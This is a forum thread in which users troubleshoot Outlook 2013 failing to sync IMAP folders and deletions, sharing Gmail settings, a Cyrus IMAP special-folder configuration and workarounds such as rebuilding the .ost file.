2.In the IMAP Access section, select the following options:
◾When I mark a message in IMAP as deleted:
Auto-Expunge off – Wait for the client to update the server.
◾When a message is marked as deleted and expunged from the last visible IMAP folder:
Move the message to the Trash
3.At the bottom press the button Save Changes.
Hope this helps.
Best Regards
- Proposed as answer by Steve FanMicrosoft contingent staff, Moderator Thursday, August 15, 2013 8:12 AM
I tried the Purge in Outlook, but received the following error:
Task 'Purging subscribed folders on xxx@domain.com.' reported error (0x80004001) : 'Outlook cannot download folder (null) from the IMAP e-mail server for account xxx@domain.com. Error: Outlook cannot download folder (null) from the IMAP e-mail server for account xxx@domain.com. Error: . If you continue to receive this message, contact your server administrator or Internet service provider (ISP).'
I am having the exact same problem and I am getting totally mad over it.
IF you have any answer, please inform me.
Are you also using Outlook 2013?
Is the Deleted Items/Trash folder of your Google account perhaps marked with "This Computer Only" or located outside of your IMAP mailbox? (for instance: the deleted items are moved to the Deleted Items folder of a pst-file).
Robert Sparnaaij [MVP-Outlook]
Outlook guides and more: HowTo-Outlook.com
Outlook Quick Tips: MSOutlook.info
I'm having exactly the same problem as Ultrabaron and kjb3212. I'm using Outlook 2013 on Windows 7 connected to a Cyrus IMAP server. Fortunately, I have the luxury of modifying the server behavior in any way that I want. Unfortunately, Outlook 2013 just does not work.
At first, I had the server configured to the "altnamespace". Basically, a folder is accessed using the mailbox folder name like "Archive". That did not work. I had the same problem where I would delete a message in Outlook and it would not sync to the server. I created a folder in Outlook 2013 named "ABC". It did not get created on the server. I used Wireshark to watch the TCP traffic from my PC to the server. Outlook NEVER send a command to the server to create the mailbox.
So, thinking that perhaps Outlook now has a problem with the "altnamespace" (which no other client ever had an issue with), I switched the namespace back to use the default namespace. Basically, every folder is prefixed by "INBOX". That did fix the problem of folder creation, but I am still having problems with messages getting deleted from the server. They're gone in Outlook, but not on my other devices. And, running that purge command above, I get the same error message as reported by kjb3212.
This is truly frustrating. I've had the mail server config in place for years, so I don't think it's the mail server at fault.
Oh, I did have to add support for RFC 6154 on the mail server so Outlook would recognize the proper "Sent Items" folder and other special folders. For those who are encountering that, the config lines in /etc/imap.conf are something like this:
xlist-drafts: Drafts
xlist-archive: Archive
xlist-sent: Sent Items
xlist-trash: Deleted Items
xlist-junk: Junk E-mail
xlist-spam: Junk E-mail
Note that "Junk E-mail" is listed twice. The RFC says "\Junk" is the value to apply to the junk folder, but apparently Outlook is using the Google Mail version (which is the predecessor to the RFC), so "spam" has to be used. I just inserted both and clients should pick up on the right value.. I think.
In any case, the sync problem is real. It just sits here like a dead duck. I've never seen such a horrible Office update in my life. And sadly, this has been in the field for a while and we should not be playing beta testers at this point. I seriously have better things to do.
So, if anyone has a clue as to what's wrong, I'd love to hear it.
- Edited by paul_e_jones Thursday, October 17, 2013 2:03 AM
Hi,
Paul wrote: "I created a folder in Outlook 2013 named "ABC". It did not get created on the server."
This problem hit us yesterday in a big way. We replaced a user's computer and when we set up his email, discovered folders missing. They were never created on the server and therefore never backed up and are gone. Needless to say, he's distraught and so am I.
There doesn't appear to be any rhyme nor reason to this. When testing, I can successfully create folders within Outlook and they will immediately show up on the server. But obviously sometimes they it's not successful. Another user is missing just one folder on the server. Another is missing two sub-folders. They appear normal in Outlook, but aren't on the server. (Right-clicking the folder and viewing Properties calls them IMAP items, not Mail and Post items.)
We've gone from Outlook 97, through 2000, 2003, 2007, and 2010 without major issues (though some tweaks were sometimes required.) Unless I can resolve this very soon, I'm going to have to move everyone back to 2010.
Has anyone had any great successes over the past few weeks in this area?
In my own experience, it has been random, too. Even when accessing the same server from the same machine, but using different accounts, I'd see different results. For one account, I could create a folder, but for another account, the folder would get created locally, but not on the server. So, whatever the reason for this strange behavior, I can say for certain that it's entirely an Outlook 2013 issue.
Like you, I've never seen this problem with Outlook and IMAP before. Outlook 2003 was OK. Outlook 2007 did have some issues, but I can't remember now what the issues were. It wasn't a mail loss issue or failure to move messages, though. It more just some kind of annoyance. Outlook 2010 was rock solid. Outlook 2013 has proven to be totally unworkable and I've moved to a different email client.
- I have been having the same problem as well. I gave up and am using a different mail client now as well. Never had this problem till yesterday. Was working fine until I turned on BitLocker. I turned off BitLocker - re-installed and I still can't get it to download Inbox email. It goes to my iPhone fine so I am using Thunderbird now as my email client. Using Outlook 2013 for calendar and contacts with iCloud.
Boog
- I have exactly the same problem. I have two IMAP accounts exactly with the same characteristics: the inbox of the first account syncs perfectly, the other not. The most ridiculous fact is that with the faulty IMAP I CAN send e-mails but I CAN'T receive emails. . I have set also a POP account for the same email address: I CAN receive the emails but I CANNOT send emails !!!!!! This is driving me mad AND I had no problem whatsoever with Outlook 2010. There must be something in the .ost file that prevents the syncing. WHAT ?????? But I expect Microsoft solving immediately this problem. I am naturally ready to provide all required infos (but my account pssword....)
Got a new laptop and was playing around and with Outlook 2013. I was looking to buy a copy of it.
I faced the issue of delete not syncing properly in some mail accounts. After searching around and reading a few threads, and this one, I have decided not to buy 2013!!
Definitely not crazy enough to risk missing mails, folders, or cluttered deleted mails in inbox (which i am facing now).
- Edited by CrazyPlanet Monday, November 25, 2013 9:41 PM
This is also being discussed in another help forum.
Here is what I find. I can run send/receive F9 and watch the process and it saying that it is syncing subscribed folders but it does not sync them. Had two emails hit my phone and tablet yesterday over the push imap. Didn't show up in Outlook. Hit send/recieve several times and it says syncing subscribed folders but it does not.
Now select another folder other than the inbox then select the inbox again, at bottom says syncing in box and one of the emails shows up, the later one. Do the same thing again and the second one shows up, the earlier one.
Makes no sense, but try highlighting the inbox then go back to it.
This is similar to a problem some have had with sending emails, they just sit in the outbox. Open the email, then select another folder, go back to the email and hit send, and it will get sent.
- This update doesn't show in my installed windows updates so I downloaded it from the Microsoft website but I get the message "There are no products affected by this package installed on this computer" when I attempt to install. On Monday I installed a new purchased copy of Office 2013 Professional Plus (which includes Outlook) and all emails and folders synced ok but the next day not all did and new emails haven't arrived since yet Windows Live Mail (no longer the default email client) continues to deal with all mail accurately. The trash folder seems to be syncing and I'm getting plenty of error messages stating the folders that haven't synced. If I have Outlook 2013 why does the update say it isn't applicable?
I had this happen to me and was able to resolve it by clearing offline items. When I did that, everything locally in outlook disappeared. I then changed to another folder and back to the folder that wasn't syncing and then the folder started to sync up again.
Another point to note: I only started having this issue when I connected to the exchange server from my phone as well.
- Nope. Turning off show only subscripbed folders did not work.
- Edited by Brian Souder Thursday, June 26, 2014 3:28 PM
- I am still having the same issues. Tried everything above. If you exit Outlook and open again after a few seconds you get one round of emails. After that I can send, but it will not receive again unless I exit and open again. Getting this with multiple users on multiple domains. It does not do it right sway though. I rebuilt one user's profile the other day and she was fine for several days. Now she is starting to see it show up again. Windows 7 Professional in Windows Server 2012 Essentials domain. Office 2013 volume license edition. Everything is 64-bit.
- Edited by Brian Souder Thursday, June 26, 2014 3:29 PM
What "little check box?"
I have tried everything in this thread, and nothing works. Everything used to be fine (mostly, if funky at times), but outlook no longer retrieves IMAP email messages since last night, when I archived last-year's emails. What the ...
Hmmm ... post-archiving, I finally got things working. Right-click on the archived inbox, select "Clean Up Folder." Shortly thereafter, everything was working again.
Ok, so I got it working again. However, it took me hours to solve the problem, which I am upset about. It seems to me that MS should take care of these details during the archiving process, as part of the normal process for archiving IMAP accounts. How about putting someone who really understands both outlook and IMAP on the Outlook team?
Hi Paul,
This is the exact same behaviour we're seeing. Outlook ends up with lots of mail stored locally which it claims is on the server but simply is not. It seems to often be triggered by moving around mail in large quantities. There are absolutely no errors visible.
If you remove the .ost file associated with the account and restart Outlook it will happily sync properly again for a while - until the next time! The problem then of course is that any mail Outlook claimed to have locally which is not on the server is lost, so I've taken to exporting all mail to a .pst file first before doing this, which means you can later fish out anything you realise is missing.
In doing this I've found that once you open the exported .pst file in Outlook again suddenly there are hundreds of sync error messages visible which were simply not being shown at all in the Sync Issues folder!
We're using this at work and I'm trying to support it and all I can advise people at the moment is to revert to Outlook 2010 or switch to Thunderbird. And the scary thing is only those who are using webmail frequently or have shared role accounts are even noticing they're affected by this issue. There could be many others with Outlook 2013 in this state and they'll only know when their computer breaks or is upgraded and they lose email.
We don't have any support contract with Microsoft and I've no idea if we've any chance of getting them to look at this issue seriously without one. | https://social.technet.microsoft.com/Forums/office/en-US/626345d6-fece-4ccc-9660-2d494c2d1a9e/outlook-2013-imap-server-folders-not-syncing?forum=outlook | CC-MAIN-2019-51 | refinedweb | 2,478 | 73.68 |
Roman" "(except functions whose names are prefixed with 'unsafe')" While not perfect, I think that this is a reasonable specification of "observational equality for ADTs". (Whether all Eq instance should behave that way is another question.) Note that if the ADT abstraction would be done via existential types instead of namespace control, we could honestly say "for all f". >. > As an example, consider the following data type: > > data Expr = Var String | Lam String Expr | App Expr Expr > > The most natural notion of equality here is probably equality up to > alpha conversion and that's what I usually would expect (==) to mean. In > fact, I would be quite surprised if (==) meant structural equality. > Should I now consider the Show instance for this type somehow unsafe? I > don't see why this makes sense. Most of the time I probably don't even > want to make this type abstract. Are the constructors also unsafe? Why? Thanks for throwing in an example :) And a good one at that. So, alpha-equivalence is a natural Eq instance, but not an observational equivalence. Are there other such good examples? On the other hand, I'm not sure whether the Prelude functions like nub make sense / are that useful for alpha-equivalence. Furthermore, Expr is not an Ord instance. (Of course, one could argue that Var String is "the wrong way" or "a very unsafe way" to implement stuff with names. For instance, name generation needs a monad. There are alternatives like De Bruijn indices and even representations based on parametric polymorphism. But I think that this doesn't touch the issue of alpha-conversion being a natural Eq instance.) Regards, apfelmus | http://www.haskell.org/pipermail/haskell-cafe/2008-March/040624.html | CC-MAIN-2014-41 | refinedweb | 276 | 64.81 |
Welcome to a series on programming quantum computers. There's no shortage of hype around quantum computing on the internet, but I am going to still outline the propositions made by quantum computing in general, as well as how this pertains to us and programmers who intend to work with quantum computers, which we will be doing immediately in this series.
The subject matter of quantum physics in general is very advanced, complex, confusing, and complicated. I am not a quantum physics expert. Dare I suggest too, no one is a quantum physics expert, but there are people far more qualified than me to talk on the theories and physics side of things.
I will still outline some basics, but I highly encourage you to dive into the theory and conceptual side of quantum physics on your own because I really am not the best person to educate there. I am going to focus mainly on the programming and application side of things here.
That said, some basic foundation is required, so:
Quantum computers are machines that work with qubits (quantum bits) rather than regular bits.
A regular bit is a transistor that registers either a high or low voltage, which corresponds to 1 or 0 respectively. Through advances in technology over the years, we have bits that are nearly the size of atoms, which is absolutely incredible.
A quantum bit is a 2-state quantum "device." Many things can be used as qubits, such as a photon's horizontal and vertical polarization, or the spin up or spin down of an electron. What this means for us as computer scientists is that a qubit can be a 0, 1, or both.
Because...
Qubits also have 2 other very important properties:
You're going to be thinking that a lot, but these are the properties that make quantum computers very compelling to use for certain problems. Both superposition and entanglement seem like magic to me, but both are proven qualities of qubits.
Quantum computers wont be replacing classical computers. They're more likely to continue working alongside them, just as they are already doing today. As you will see, we tend use a classical computer to represent a quantum circuit to the quantum computer, the quantum computer runs some cycles on this circuit, and then reports back to us again with a classical bit response.
Quantum computers work very well for problems that exponentially explode.
Problems like logistics, such as the most ideal delivery route for trucks, or even concepts like planning for companies, where each choice branches out into new possible choices and opportunities.
This might still seem vague. Let's consider you're planning a charity dinner and you're attempting to seat people together who will keep eachother in good, donating, moods.
Let's pretend for now you just have 1 table with 5 seats. How many combinations do we have here? Well, it's 5x4x3x2x1, or 5 factorial, which is 120. This means there are 120 possible combinations.
What happens if we added... just one more seat? That'd be 6 factorial, which gives us 6x5-factorial, or 720. Just one more seat is 6x as many combinations.
What about 10 seats? That's 3,628,800 combinations.
Modeling is probably the most near-term real-world example that I see quantum computers being useful.
Classical computers can barely simulate many single molecules...and they do a very poor job of it (due to the issue of how many possibilities there are given a situation). You currently cant rely on a classical computer to do chemistry simulations reliably.
A quantum computer can actually model many molecules already today reliably, and it only gets better from here seemingly.
With classical computers:
n_states = 2 x n_bits
With quantum computers:
n_states = 2^n_bits
Being exponential like this gives us some phenomenal properties. This is why quantum computers can help us with heavy-optimization types of tasks, or just tasks that have many possibilities.
I think the simplest explanation of a quantum computer that I can come up with for now is that:
Classical computers can approximate and synthesize probability, they are not truly accurate and can never be with most tasks that use probability, unless of course you really can fit the entire range of possibilities into memory. Then you can get pretty close. But again, the probability space tends to explode as you add more variables.
Quantum computers do not model probability. They simply are the probability.
For this reason, quantum computers are also great for modeling things like molecules. With quantum computers, we could perform many chemistry experiments solely on quantum computers, which should significantly speed up many areas of research.
So these companies who have no doubt spent hundreds of millions of dollars on these quantum computers...what do they do with them?
It turns out, opening them up to the public, for free, is not uncommon.
Google, Microsoft, IBM, D-Wave, and I am sure many others all offer some form of cloud-based quantum computer access.
I checked into all of the providers that I knew about, and, surprisingly, found IBM's to be the easiest to get up and running with. You really can go from nothing to running on an actual quantum computer in a few minutes.
For free.
FREE.
I feel like making access to quantum computers free is like NASA letting people drive a Mars rover around Mars for free. It's insane!
... but we're currently at a stage with Quantum computers where the technology exists but no one really knows what all we can do here, or what will come of it.
So, let's take advantage of this absurd time and play with the bleeding edge of technology!
IBM has also done what I would call a phenomenal job with making both the tools as well as education available for free to anyone who is interested in diving in. I hope to continue this trend for them.
I am assuming you already have python installed and are beyond the python basics. If not, please start with the basics here: Python 3 programming basics tutorial.
pip install qiskit numpy jupyterlab matplotlib qiskit-ibmq-provider
I personally found that I had to force install
qiskit-ibmq-provider:
(on linux):
sudo pip3.7 install --upgrade --force-reinstall qiskit-ibmq-provider
Quantum computers essentially are different to their core, the "bit." Thus, as painful as it may be, we will be starting at the bit-level, the qubit.
We quite literally will be building out the "circuits" for our bits, creating various types of gates.
The following circuit appears to me to be the "hello_world" quantum circuit of choice for everyone, so I'll stick with it.
import qiskit as q %matplotlib inline circuit = q.QuantumCircuit(2,2) # 2 qubits, 2 classical bits circuit.x(0) # "x" is a "not" gate. It flips the value. Starting value is a 0, so this flips to a 1.0bf4290>
circuit.draw() # text-based visualization. (pretty cool ...actually! Nice job whoever did this.)
+---+ +-+ q_0: |0>+ X +--#--+M+--- +---++-+-+++++-+ q_1: |0>-----+ X +-+-+M+ +---+ | +++ c_0: 0 -----------+--+- | c_1: 0 --------------+-
circuit.draw(output="mpl") # matplotlib-based visualization.
Alright, we've built our quantum circuit. Time to run the circuit. This is a quantum computing tutorial, so let's go ahead and just get running something on a Quantum Computer out of the way so we can add this to our resume.
Head to Quantum-computing.ibm.com, create an account, and then you can click on the account icon at the top right (at least at the time of my writing this), then choose "my account"
From there, you can click "copy token" which will copy your token to clipboard, which we will use in a moment:
Once you've got your token, you're ready to try to connect to a quantum computer and run there.
Now you can connect with your token by doing:
IBMQ.save_account("TOKEN HERE")
I am going to store my token to a file so I dont accidentally share it, but you can just paste it right in here as a string. For me, however, I will do:
from qiskit import IBMQ IBMQ.save_account(open("token.txt","r").read())
Credentials already present. Set overwrite=True to overwrite.
This saves on your actual machine, so you only need to do this once ever (unless your token changes), which is why I am getting the "Credentials already present" message. From then on, you can just do:
IBMQ.load_account()
<AccountProvider for IBMQ(hub='ibm-q', group='open', project='main')>
IBMQ.providers()
[<AccountProvider for IBMQ(hub='ibm-q', group='open', project='main')>]
provider = IBMQ.get_provider("ibm-q")
for backend in provider.backends(): try: qubit_count = len(backend.properties().qubits) except: qubit_count = "simulated" print(f"{backend.name()} has {backend.status().pending_jobs} queued and {qubit_count} qubits")
ibmq_qasm_simulator has 0 queued and simulated qubits ibmqx2 has 24 queued and 5 qubits ibmq_16_melbourne has 80 queued and 14 qubits ibmq_vigo has 19 queued and 5 qubits ibmq_ourense has 31 queued and 5 qubits ibmq_london has 7 queued and 5 qubits ibmq_burlington has 5 queued and 5 qubits ibmq_essex has 18 queued and 5 qubits
from qiskit.tools.monitor import job_monitor backend = provider.get_backend("ibmq_london") job = q.execute(circuit, backend=backend, shots=500) job_monitor(job)
Job Status: job has successfully run
from qiskit.visualization import plot_histogram from matplotlib import style style.use("dark_background") # I am using dark mode notebook, so I use this to see the chart. result = job.result() counts = result.get_counts(circuit) plot_histogram([counts], legend=['Device'])
So mostly we got 11 at the end of our test (each number corresponds to a bit value here), which was expected. Our default qubit value is 0, then we used a not game (
.x), which then made it a one. Then we applied an exclusive or, which would flip the 2nd (target qubit), if the first (the control qubit), was a 1. It was, so this is why our intended answer was indeed a 11. As you can see, however, we got some 01, 10, and some 00. What's this?
This is noise.
Expect noise, and rely on probability.
This is why we perform many "shots." Depending on the probability distribution possible for your output, you will want to perform a relevant number of "shots" to get the right answer.
Regardless, you did it! Time to update that resume to say "Quantum Programmer!"
Now, let's update this slightly. This is a pretty boring circuit.
circuit = q.QuantumCircuit(2,2) # 2 qbits, 2 classical bits. circuit.h(0) # Hadamard gate, puts qubit 0 into superposition0429310>
This time we're adding
circuit.h(0), which adds a Hadamard gate to qubit 0. This puts that qubit into superposition. How might this impact the measured output of 500 shots do you think?
circuit.draw(output="mpl")
backend = provider.get_backend("ibmq_london") job = q.execute(circuit, backend=backend, shots=500) job_monitor(job)
Job Status: job has successfully run
result = job.result() counts = result.get_counts(circuit) plot_histogram([counts], legend=['Device'])
Notice now that we get mostly 00 and 11 as results. There's some 01 and 10 as noise, but we see what we expect.
Recall the
controlled not gate will flip the target qubit (2nd one) if the control qubit (the first) is 1.
The 2nd qubit was 0 since it was never turned on, and the 1st qubit (qubit 0) was in superposition. Superposition means the qubit is in any of the possible states, but will collapse upon a single state when observed.
This is why we make many observations, so that we can see the actual distribution of outcomes.
Thus, we see close to a 50/50 split between 00 and 11 with this circuit. There's obviously noise too, but, in an ideal quantum computer, we'd only see 00 and 11.
As awesome as it really is to run on a quantum computer, it's fairly silly for us to just tinker around on a real quantum computer. Instead, we want to do most of our research and development work on a quantum simulator.
This saves us time (not waiting in a queue) along with getting out of the way for other people who have done their R&D locally and are now ready to test on the real thing.
To do R&D locally, it's quite simple. Rather than using an actual backend, we use a simulator. We could also use the simulator backend that IBM hosts.
from qiskit import Aer # simulator framework from qiskit # will create a statevector of possibilities. sim_backend = Aer.get_backend('qasm_simulator')
Can also iterate:
for backend in Aer.backends(): print(backend)
qasm_simulator statevector_simulator unitary_simulator
From:
We'll use the
qasm_simulator, since this most closely matches what we did above.
That said, when using simulators, we can use the unitary simulator if we would rather get something more like a matrix output. A statevector simulator will return a statevector. The Qasm sim returns the counts that we've seen so far.
Different outputs allow us different visualizations.
job = q.execute(circuit, backend=sim_backend, shots=500) job_monitor(job)
Job Status: job has successfully run
result = job.result() counts = result.get_counts(circuit) plot_histogram([counts], legend=['Device'])
Notice we didn't get a perfect 50/50, but there was no 01 or 10. Why not? Well, the "simulator" simulates a perfect quantum machine. One day, we may reach a perfect quantum machine. For now, perfect quantum machines only exist in the sim.
Anyway, now you can try tinkering about in the simulator, then you can test your results for real on an actual quantum computer when you're ready.
I think that's enough for now! More to come in the future.
If you have questions, please come join us in the discord channel, otherwise I will see you in the next tutorial!
More resources: | https://pythonprogramming.net/quantum-computer-programming-tutorial/ | CC-MAIN-2022-40 | refinedweb | 2,314 | 65.52 |
One of the very nice features of Groovy is that we can implement operator overloading. This blog post is not about how to implement operator overloading, but Groovy's operator overloading also means that operators we know in Java have corresponding methods, which are not available in Java. So instead of using operators in our code we can use the corresponding methods.
The following sample code shows some operators we know in Java and the corresponding methods in Groovy:
def a = true def b = false assert a | b // Java Boolean has no or method. assert a.or(b) assert !(a & b) assert !(a.and(b)) def x = 100 def y = 10 assert x + y == 110 // Java Integer has no plus method. assert x.plus(y) == 110 assert ++x == 101 // ++ maps to next method. assert x.next() == 102 assert --y == 9 assert y.previous() == 8
Written with Groovy 2.4.4. | http://mrhaki.blogspot.com/2015/09/groovy-goodness-operator-overloading-in.html | CC-MAIN-2016-44 | refinedweb | 150 | 64.3 |
Hi,
I'm stuck in this situation: I write code for a x86 on a x64 PC. When I try to run my exe a message says "Not a valid win32 application". Ok, let's configure the platform in the "Project -> Solution Option".
The problem is that in this window I have only displayed the "Debug X86" and "Release X86" configuration relative to the X86 platform. The code run only for X64 machine instead.
How could I solve this situation? I tryed the multitargeting packet by windows for VS but nothing changed.
I would say you are having another problem. Compiling for x86 works fine on a x64 PC. What type of project are you trying to run and how are you trying to run it?
Hi, I'm compliling the project on a x64 PC but I need to run in on a x86. The project was for a meccanic interface, but I see the issue with the standard "Hello word" in a shell program.
The profile on the IDE says x86, thus I expected to run it on a x64 (my machine) and on a x86 machine (future customers). But on a x86 windows XP machine I've got the problem.
I don't think you understood the question so let's try a different approach. What are all of the references in your project? Is Xamarin.iOS or Xamarin.Mac or monodroid in the list?
You cannot run an app built for iOS, Android, or Mac on a Windows PC.
Hi Adam,
thanks for the reply; here's the code:
using System;
namespace helloworld
{
class MainClass
{
public static void Main (string[] args)
{
Console.WriteLine ("Hello World!");
Console.ReadKey ();
}
}
}
as you can see It's the simple hello world code, the application open a console window, compiled on a x64 machine (Active configuration: Debug | X86). When I open the .exe on a x86 machine the "Not a valid Win32 Application" popup is displayed.
Any ideas?
That code doesn't prove anything. Look at the references in your project. What are your references?
there's only "System" as reference
Could you attach a .zip of your project? (delete all bin and obj directories first)
Here the project...and thanks for the support!
I don't see the problem. I can build either on Mac or Windows using either Xamarin Studio or Visual Studio using either configuration, and in all cases it appears to be a 32-bit .exe, which I tested on both a 32-bit and a 64-bit Windows OS.
On which OS are you testing?
It's an old win XP...today I'll check the machine. Thank you for the support!
XP doesn't support .Net 4.5
Uhm..I was thinking about the framework. So I need to downgrade? There's no backward compatibility?
Thank you so much
Ok I found it! Solved. It's the target framework. Have a nice day
| https://forums.xamarin.com/discussion/comment/125979/ | CC-MAIN-2020-10 | refinedweb | 488 | 78.04 |
Welcome to my second article of Simplicity Is Virtue philosophy. Never heard of it? Of course, I created it.. (-: (If you're really interested what the heck is that, then take a look at my first article.) This article is aimed towards beginners, so all of you coding gurus and wizards can skip all of this. In this article, you can learn how to:
Before we begin, let me explain why create YET ANOTHER tray icon class, when there are so many of them, free for use. Well, I was browsing the net, searching for a tray icon class, just being lazy of typing my own code. I actually found a whole bunch of them, free, powerful and quite often - loaded with features I don't need. That means - very irritating to use. So I said to myself, Today IS a good day to die, and started coding the most simple tray icon class anyone could ever think of :-). Let us begin.
Before we do anything, let us recall: you create a tray icon by creating a NOTIFYICONDATA structure, and giving it to the Shell_NotifyIcon API function. That tends to be quite irritating, especially if you change the icon or the tooltip frequently during runtime. Because of that, we will create a new class, and provide ourselves a simple and clean interface.
NOTIFYICONDATA
Shell_NotifyIcon
First, we create a new dialog based project, all other options are irrelevant. We begin by adding a new generic class to our project. I named mine "CSimpleTray". Now, we will take care of the private class variables: we need a single icon, a single tooltip, and a single NOTIFYICONDATA structure. Besides that, we would need an indicator whether our icon is shown or not, so we will create a BOOL variable called m_bEnabled. The class should look like this by now:
CSimpleTray
NOTIFYICONDATA
BOOL
m_bEnabled
// SimpleTray.h
class CSimpleTray
{
public:
CSimpleTray();
virtual ~CSimpleTray();
private:
BOOL m_bEnabled;
HICON m_hIcon;
NOTIFYICONDATA m_nid;
CString m_strTooltip;
};
Now let's see: besides showing and hiding the icon, we want to be able to change the icon and tooltip during runtime, and basically that's all we will do here. Simple interface will consist only of these functions:
void Show();
void Hide();
void SetIcon( HICON hIcon );
void SetTooltip( LPCTSTR lpTooltip );
Still, there is only one thing to think of: we want our icon to actually DO something when our user clicks on it. To implement that, we will make our icon send a notification to the app's main dialog, simply by sending a custom window message. First things first, we will define the message before our tray icon class declaration, like this:
// SimpleTray.h
// at the beggining of the file, before class declaration
#define WM_TRAYNOTIFY WM_APP+1
Now, we need to mess a bit with the dialog itself, add a new protected function declared like this:
afx_msg void OnTrayNotify( WPARAM wParam, LPARAM lParam );
Ok, so now that we have #defined a window message and a function, we need to connect them. You do this by manually adding an entry to the framework's message map:
#define
// TrayDemoDlg.cpp
BEGIN_MESSAGE_MAP(CTrayDemoDlg, CDialog)
//{{AFX_MSG_MAP(CTrayDemoDlg)
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_MESSAGE(WM_TRAYNOTIFY, OnTrayNotify) // <-- add this line
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
Note that there is no semicolon at the end of the line. Now, every time our dialog receives WM_TRAYNOTIFY message, it will call the message we created - OnTrayNotify. Of course, you will need to #include the class declaration file, otherwise the compiler will complain that WM_TRAYNOTIFY is not defined.
WM_TRAYNOTIFY
OnTrayNotify
#include
// TrayDemoDlg.cpp
// at the beggining of the file
#include "stdafx.h"
#include "TrayDemo.h"
#include "TrayDemoDlg.h"
#include "SimpleTray.h" // <-- this one
Finally, we get to code the class. Let us check out the code:
CSimpleTray::CSimpleTray()
{
// initialize
m_hIcon = NULL;
m_strTooltip = "";
m_bEnabled = FALSE;
}
CSimpleTray::~CSimpleTray()
{
Hide(); // a good thing to do :-)
}
void CSimpleTray::Show()
{
// check to see if we have a valid icon
if ( m_hIcon == NULL )
return;
// make sure we are not already visible
if ( m_bEnabled == TRUE )
return;
// initialize the TRAYNOTIFYDATA struct
m_nid.cbSize = sizeof(m_nid);
m_nid.hWnd = AfxGetMainWnd()->m_hWnd; // the 'owner' window
// this is the window that
// receives notifications
m_nid.uID = 100; // ID of our icon, as you can have
// more than one icon in a single app
m_nid.uCallbackMessage = WM_TRAYNOTIFY; // our callback message
strcpy(m_nid.szTip, m_strTooltip); // set the tooltip
m_nid.hIcon = m_hIcon; // icon to show
m_nid.uFlags = NIF_MESSAGE | // flags are set to indicate what
NIF_ICON | // needs to be updated, in this case
NIF_TIP; // callback message, icon, and tooltip
Shell_NotifyIcon( NIM_ADD, &m_nid ); // finally add the icon
m_bEnabled = TRUE; // set our indicator so that we
// know the current status
}
void CSimpleTray::Hide()
{
// make sure we are enabled
if ( m_bEnabled == TRUE )
{
// we are, so remove
m_nid.uFlags = 0;
Shell_NotifyIcon( NIM_DELETE, &m_nid );
// and again, we need to know what's going on
m_bEnabled = FALSE;
}
}
void CSimpleTray::SetIcon(HICON hIcon)
{
// first make sure we got a valid icon
if ( hIcon == NULL )
return;
// set it as our private
m_hIcon = hIcon;
// now check if we are already enabled
if ( m_bEnabled == TRUE )
{ // we are, so update
m_nid.hIcon = m_hIcon;
m_nid.uFlags = NIF_ICON; // icon only
Shell_NotifyIcon( NIM_MODIFY, &m_nid );
}
}
void CSimpleTray::SetTooltip(LPCTSTR lpTooltip)
{
// tooltip can be empty, we don't care
m_strTooltip = lpTooltip;
// if we are enabled
if ( m_bEnabled == TRUE )
{ // do an update
strcpy(m_nid.szTip, m_strTooltip);
m_nid.uFlags = NIF_TIP; // tooltip only
Shell_NotifyIcon( NIM_MODIFY, &m_nid );
}
}
That's it!
The most simple way would be to use your applications icon, and show the damn thing at the program startup, inside OnInitDialog(). First, add a private variable of type CSimpleTray to the dialog class:
OnInitDialog()
and then use it like this:
// TrayDemoDlg.cpp
//inside OnInitDialog()
// TODO: Add extra initialization here
m_pTrayIcon.SetIcon( m_hIcon ); // application's icon
m_pTrayIcon.SetTooltip( "Look at me!" );
m_pTrayIcon.Show();
//...
All you need to do now, is set the icon's behavior, and you do that inside OnTrayNotify. For example, we want to display a menu when a user right clicks on our icon. I created mine like this:
If you press CTRL+W to open the class wizard, you will get a dialog box with two options: to create a new class for your menu, or to select an existing one. Choose "Select an existing class" and press OK. On the next dialog, you can see a list of classes available in your project. The most appropriate class would be your main dialog class, in this case CTrayDemoDlg. Select it and press OK. Now you can edit the code for your popup menu, and it will be inside CTrayDemoDlg class.
CTrayDemoDlg
Now, let us edit our callback function:
// TrayDemoDlg.cpp
void CTrayDemoDlg::OnTrayNotify(WPARAM wParam, LPARAM lParam)
{ // switch lParam, which contains the event that occured
// wParam would hold the icon's ID, but since we have
// only one icon, we don't need to check that
switch ( lParam )
{
case WM_LBUTTONDOWN:
{ // left click, activate window
// we would do here the same thing as if
// the user clicked the "show dialog" menu
// so don't duplicate the code
OnShowdialog();
}
break;
case WM_RBUTTONUP:
{ // right click, show popup menu
CMenu temp;
CMenu *popup;
CPoint loc;
GetCursorPos( &loc );
temp.LoadMenu( IDR_MNUPOPUP );
popup = temp.GetSubMenu( 0 );
popup->TrackPopupMenu( TPM_LEFTALIGN, loc.x, loc.y, this );
}
break;
default:
// do nothing
break;
}
}
We also might want to hide the taskbar button of your dialog, and we can do it inside OnInitDialog(). The demo app demonstrates how to accomplish that, and how to implement a simple "animation" - a flashing tray icon.
THE END - I hope someone will find this article useful in some way! (-:
As for the copyright, all of this is copyrighted by me (T1TAN) and my pseudo-company SprdSoft Inc. That means that you can use this code in any app (private or commercial) without any restrictions whatsoever, since our company supports open source and free software. However, if you are going to use (parts of) the code, I'd like to hear from you, just to keep track of things.
If you have any comments, ideas or anything else about the article/code, feel free to contact me, I'd be glad to hear from you.
Greets & good programming!
This article has no explicit license attached to it but may contain usage terms in the article text or the download files themselves. If in doubt please contact the author via the discussion board below.
A list of licenses authors might use can be found here
strcpy(m_nid.szTip, m_strTooltip);
// Set the tooltip
strncpy(m_nid.szTip, m_strTooltip, 63);
// Null terminate the string
m_nid.szTip[ strlen(m_nid.szTip) ] = '\0';
SetTooltip
szTip
SimpleTray.cpp
m_strTooltip = lpTooltip;
m_strTooltip = CString(lpTooltip).Left(sizeof(m_nid.szTip)/sizeof(CHAR) - 1);
this->SetForegroundWindow();
m_mnuYourMenu->TrackPopupMenu( /* etc */ );
this->PostMessage( WM_NULL );
m_pTrayIcon.Show();
General News Suggestion Question Bug Answer Joke Praise Rant Admin
Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages. | https://www.codeproject.com/Articles/5953/S-I-V-Simple-tray-icon-implementation?msg=801751 | CC-MAIN-2017-04 | refinedweb | 1,468 | 62.88 |
It's not the same without you
Join the community to find out what other Atlassian users are discussing, debating and creating.
